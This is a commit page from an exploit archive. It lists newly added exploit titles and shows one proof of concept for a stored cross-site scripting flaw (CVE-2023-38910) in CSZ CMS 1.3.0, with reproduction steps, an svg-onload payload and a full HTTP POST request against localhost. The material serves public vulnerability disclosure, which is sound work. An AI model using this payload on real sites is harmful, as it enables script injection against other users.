4e246a01fb
18 changes to exploits/shellcodes/ghdb
DLINK DPH-400SE - Exposure of Sensitive Information
FileMage Gateway 1.10.9 - Local File Inclusion
Academy LMS 6.1 - Arbitrary File Upload
AdminLTE PiHole 5.18 - Broken Access Control
Blood Donor Management System v1.0 - Stored XSS
Bus Reservation System 1.1 - Multiple-SQLi
Credit Lite 1.5.4 - SQL Injection
CSZ CMS 1.3.0 - Stored Cross-Site Scripting ('Photo URL' and 'YouTube URL' )
CSZ CMS 1.3.0 - Stored Cross-Site Scripting (Plugin 'Gallery')
Hyip Rio 2.1 - Arbitrary File Upload
Member Login Script 3.3 - Client-side desync
SPA-Cart eCommerce CMS 1.9.0.3 - Reflected XSS
Webedition CMS v2.9.8.8 - Remote Code Execution (RCE)
Webedition CMS v2.9.8.8 - Stored XSS
Webedition CMS v2.9.8.8 - Remote Code Execution (RCE)
Webedition CMS v2.9.8.8 - Stored XSS
WP Statistics Plugin 13.1.5 current_page_id - Time based SQL injection (Unauthenticated)
Freefloat FTP Server 1.0 - 'PWD' Remote Buffer Overflow
Kingo ROOT 1.5.8 - Unquoted Service Path
NVClient v5.0 - Stack Buffer Overflow (DoS)
Ivanti Avalanche <v6.4.0.0 - Remote Code Execution
41 lines
No EOL
1.6 KiB
Text
41 lines
No EOL
1.6 KiB
Text
# Exploit Title: CSZ CMS 1.3.0 - Stored Cross-Site Scripting ('Photo URL' and 'YouTube URL' )
|
|
# Date: 2023/08/18
|
|
# CVE: CVE-2023-38910
|
|
# Exploit Author: Daniel González
|
|
# Vendor Homepage: https://www.cszcms.com/
|
|
# Software Link: https://github.com/cskaza/cszcms
|
|
# Version: 1.3.0
|
|
# Tested on: CSZ CMS 1.3.0
|
|
# Description:
|
|
# CSZ CMS 1.3.0 is vulnerable to cross-site scripting (XSS), which allows attackers to execute arbitrary web scripts or HTML via a crafted payload entered in the 'Carousel Wiget' section and choosing our carousel widget created above, in 'Photo URL' and 'YouTube URL' plugin.
|
|
|
|
# Steps to reproduce Stored XSS:
|
|
|
|
Go to url http://localhost/admin/carousel.
|
|
|
|
We edit that Carousel that we have created and see that we can inject arbitrary web scripts or HTML into the “Youtube URL” and “Photo URL” fields.
|
|
We can inject HTML code.
|
|
|
|
With the following payload we can achieve the XSS.
|
|
|
|
Payload:
|
|
|
|
<div><p title="</div><svg/onload=alert(document.domain)>">
|
|
|
|
|
|
#PoC Request:
|
|
|
|
|
|
POST http://localhost:8080/admin/carousel/addUrl/3 HTTP/1.1
|
|
Host: localhost:8080
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/116.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate, br
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 137
|
|
Origin: http://localhost:8080
|
|
Referer: http://localhost:8080/admin/carousel/edit/3
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
carousel_type=multiimages&photo_url=%3Cdiv%3E%3Cp+title%3D%22%3C%2Fdiv%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E%22%3E&submit=Add |